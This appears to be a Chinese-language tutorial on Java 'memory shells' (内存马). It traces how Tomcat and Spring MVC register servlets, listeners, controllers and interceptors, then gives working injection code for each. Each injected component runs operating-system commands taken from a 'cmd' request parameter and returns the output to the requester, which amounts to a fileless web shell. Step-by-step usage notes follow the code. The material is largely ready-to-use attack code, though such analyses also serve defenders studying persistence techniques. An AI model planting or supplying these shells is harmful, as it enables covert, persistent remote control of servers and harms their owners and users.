web.xml
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="false"
>
<servlet>
<servlet-name>helloservlet-name>
<servlet-class>com.naihe2.testServletservlet-class>
servlet>
<servlet-mapping>
<servlet-name>helloservlet-name>
<url-pattern>/hellourl-pattern>
servlet-mapping>
web-app>
testServlet
package com.naihe2;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class testServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().write("123");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
}
读取web.xml
ContextConfig#webConfig()
在这里对其xml文件进行读取
ContextConfig#configureContext()
遍历webxml中的内容,将内容赋给新创建的Wrapper
将类名添加到Wrapper
将Wrapper添加到context中
StandardContext.createWapper()
在这里添加映射关系, 将 url 路径和 servlet 类做映射。
遍历内容,比添加到StandardContext的list中
这里判断loadOnStartup是否大于0,如果大于才会添加
standardWrapper中的loadOnStatup默认为-1
在servlet的配置当中,1的含义是:
标记容器是否在启动的时候就加载这个servlet。
当值为0或者大于0时,表示容器在应用启动时就加载这个servlet;
当是一个负数时或者没有指定时,则指示容器在该servlet被选择时才加载。
正数的值越小,启动该servlet的优先级越高。
由于我们要注入内存马,且没有配置xml不会在应用启动时就加载这个servlet,因此需要把优先级调至1,让自己写的servlet直接被加载
遍历list,加载wrapper
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
<%
HttpServlet httpServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
};
//获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
//从StandardContext.createWapper()获得一个Wapper对象
Wrapper newWrapper = stdcontext.createWrapper();
String name = httpServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());
//将Wrapper添加到StandardContext
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/demo", name);
%>
直接访问demo发现404
访问index.jsp注入内存马
再次访问demo
package com.naihe2;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class testListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("这里是requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("这里是requestInitialized");
}
}
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="false"
>
<listener>
<listener-class>com.naihe2.testListenerlistener-class>
listener>
web-app>
读取web.xml,处理后将信息存储在webXml中
配置context
直接遍历并添加至addApplication中
以上步骤就是将webxml中的listener相关的数据添加到ApplicationListener
接下来直接跟进到listenerStart
反射生成了一个testListener对象,及我们自定义的Listener
遍历results中的自定义Listener并添加到eventListeners
将eventListeners中的内容添加到applicationEventListenersList属性中,而后期tomcat使用Listener会从applicationEventListenersList中取出
在自定义的Listener的requestDestroyed下断点
可以发现tomcat会自动调用fireRequestDestroyEvent,因此我们进入fireRequestDestroyEvent
这里直接获取applicationEventListenersList属性
遍历applicationEventListenersList并强制转为内容为ServletRequestListener类型
这里直接调用 requestDestroyed方法
对应这自定义的Listener
接下来如何动态添加Listener
在上面分析,tomcat是将web.xml中的信息取出在调用 addApplication,将信息添加至applicationListeners,然后再由listenerStart反射生成实例化的Listener,并在需要调用前调用fireRequestDestroyEvent,在间接调用 requestDestroyed方法,但是分析了过程我们依旧无法主动添加Listener因为applicationListeners接收的是字符串而非一个对象。不过天无绝人之路,StandardContext提供了另一个方法
addApplicationEventListener,可以直接添加一个Lisener对象到applicationEventListenersList
由于ServletRequestEvent至提供了ServletRequest,并没有提供Response,因此需要通过反射获取 Response
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
Title
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
public class DemoListener implements ServletRequestListener{
public void requestDestroyed(ServletRequestEvent sre) {
org.apache.catalina.connector.RequestFacade req = (org.apache.catalina.connector.RequestFacade)sre.getServletRequest();
Field requestField = null;
try {
requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
requestField.setAccessible(true);
Request request = null;
try {
request = (Request) requestField.get(req);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Response response = request.getResponse();
try {
String cmd = request.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
response.getWriter().write(len);
}
} catch (IOException e) {
e.printStackTrace();
}
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("这里是requestInitialized");
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
DemoListener listener = new DemoListener();
context.addApplicationEventListener(listener);
%>
随便访问一个页面
在访问我们的内存马网页
这里我由于代码没有判断cmd是否为空,所以必须输入东西才能正常访问,你懂的
再次访问之前不存在的网页
filter内存马可以参考笔者这篇文章
https://xz.aliyun.com/t/10888
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0modelVersion>
<groupId>org.examplegroupId>
<artifactId>springmvcartifactId>
<packaging>pompackaging>
<version>1.0-SNAPSHOTversion>
<dependencies>
<dependency>
<groupId>junitgroupId>
<artifactId>junitartifactId>
<version>4.12version>
dependency> <dependency>
<groupId>org.springframeworkgroupId>
<artifactId>spring-webmvcartifactId>
<version>5.1.9.RELEASEversion>
dependency>
<dependency>
<groupId>javax.servletgroupId>
<artifactId>servlet-apiartifactId>
<version>2.5version>
dependency> <dependency>
<groupId>javax.servlet.jspgroupId>
<artifactId>jsp-apiartifactId>
<version>2.2version>
dependency>
<dependency>
<groupId>javax.servletgroupId>
<artifactId>jstlartifactId>
<version>1.2version>
dependency> dependencies>
project>
package com.naihe.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class Cl1 {
@RequestMapping("/cl1")
public String hello(String name, Model model){
model.addAttribute("msg",name);
return "hello";
}
}
<web-app
xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>SpringMVCservlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServletservlet-class>
<init-param> <param-name>contextConfigLocationparam-name>
<param-value>classpath:springmvc-servlet.xmlparam-value>
init-param>
<load-on-startup>1load-on-startup>
servlet>
<servlet-mapping>
<servlet-name>SpringMVCservlet-name>
<url-pattern>/url-pattern>
servlet-mapping>
web-app>
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc
https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<context:component-scan base-package="com.naihe.controller"/>
<mvc:default-servlet-handler />
<mvc:annotation-driven />
<bean id="/ModelAndViewTest" class="com.naihe.controller.ModelAndViewTest">bean>
<bean id="/t1" class="com.naihe.controller.HelloController2">bean>
<bean id="/mav" class="com.naihe.controller.Mav"/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
<property name="prefix" value="/WEB-INF/jsp/"/>
<property name="suffix" value=".jsp" />
bean>
beans>
第一种:getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
第二种:WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
第三种:RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContextWebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
第四种:getAttribute
// 这种方式与前几种的思路就不太一样了,因为所有的Context在创建后,都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
虽然获取的是RequestMappingHandlerMapping类
但是RequestMappingHandlerMapping继承自AbstractHandlerMethodMapping
同样拥有register
这里主要是通过register进行注册Controller
可以看到register方法的三个参数的类型
这里主要是映射关系,需要配置url和方法的方式
下面看一下RequestMappingInfo类
构造方法
handler是一个Object类,及自定义的Controller类的实例对象
自定义的Controller类方法的method类
package com.naihe.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
@Controller
public class Demo {
@ResponseBody
@RequestMapping(value = "/inject", method = RequestMethod.GET)
public void inject() throws NoSuchMethodException {
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = InjectToController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/demo");
// 5. 定义允许访问 controller 的 HTTP 方法(GET/POST)
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController();
mappingHandlerMapping.registerMapping(info, injectToController, method);
}
@ResponseBody
public class InjectToController {
public InjectToController(){
}
public String test() throws Exception {
// 获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while ((line = br.readLine())!=null){
str+=line;
}
is.close();
br.close();
return str;
}
}
}
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc
https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<context:component-scan base-package="com.naihe.controller"/>
<mvc:default-servlet-handler />
<mvc:annotation-driven />
<bean id="/ModelAndViewTest" class="com.naihe.controller.ModelAndViewTest">bean>
<bean id="/t1" class="com.naihe.controller.HelloController2">bean>
<bean id="/mav" class="com.naihe.controller.Mav"/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
<property name="prefix" value="/WEB-INF/jsp/"/>
<property name="suffix" value=".jsp" />
bean>
<mvc:interceptors>
<mvc:interceptor>
<mvc:mapping path="/demo/*"/>
<bean class="com.naihe.Interceptor.MyInterceptor"/>
mvc:interceptor>
mvc:interceptors>
beans>
package com.naihe.Interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MyInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("拦截器执行");
request.getRequestDispatcher("/WEB-INF/pages/error.jsp").forward(request,response);
return true;
}
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("控制器执行后执行");
}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("jsp页面执行后执行");
}
}
hello
这里是后面内存马需要的可访问的页面
package com.naihe.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class hello {
@ResponseBody
@RequestMapping("/cl1")
public String hello(String name, Model model){
model.addAttribute("msg",name);
return "hello";
}
}
在org.springframework.web.servlet.DispatcherServlet的doDispatch方法下断点
后面会调用mappedHandler.applyPreHandle方法
这里遍历使用的interceptors,并调用其preHandle方法,
进入getHandler方法,这里主要是获取Interceptor
进入gethandler
进入getHandlerExecutionChain
这里可以看到将Interceptor遍历出来,在添加到chain
在这里可以看到所有的监听器
在这里观察一下数据结构,发现是MappedInterceptor中包含了url地址和自定义拦截器的实例对象
需要反射创建一个MappedInterceptor对象,并添加上我们的interceptor类和includePatterns
这里判断了访问地址和Interceptor地址是否符合要去,如果不符合的话就不会加载
package com.naihe.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.MappedInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
@Controller
public class TestInterceptor{
@ResponseBody
@RequestMapping(value = "/interceptor", method = RequestMethod.GET)
public String inject() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
try{
// 获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获取AbstractHandlerMapping的实例对象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<HandlerInterceptor> adaptedInterceptors = (java.util.ArrayList<HandlerInterceptor>)field.get(abstractHandlerMapping);
//生成一个MappedInterceptor对象
MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/cl1"},null,new InterceptorDemo());
// 添加到adaptedInterceptors中
adaptedInterceptors.add(mappedInterceptor); // 添加全局interceptor
return "ok";
} catch (Exception e) {
return "no";
}
}
}
class InterceptorDemo implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while ((line = br.readLine())!=null){
str+=line;
}
is.close();
br.close();
response.getWriter().write(str);
return false;
}
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
}
访问cl1,注意在这里cl1是必须存在的,前面给了源码
访问一个普通页面,并传参
访问注入界面,注入内存马
再次访问之前的页面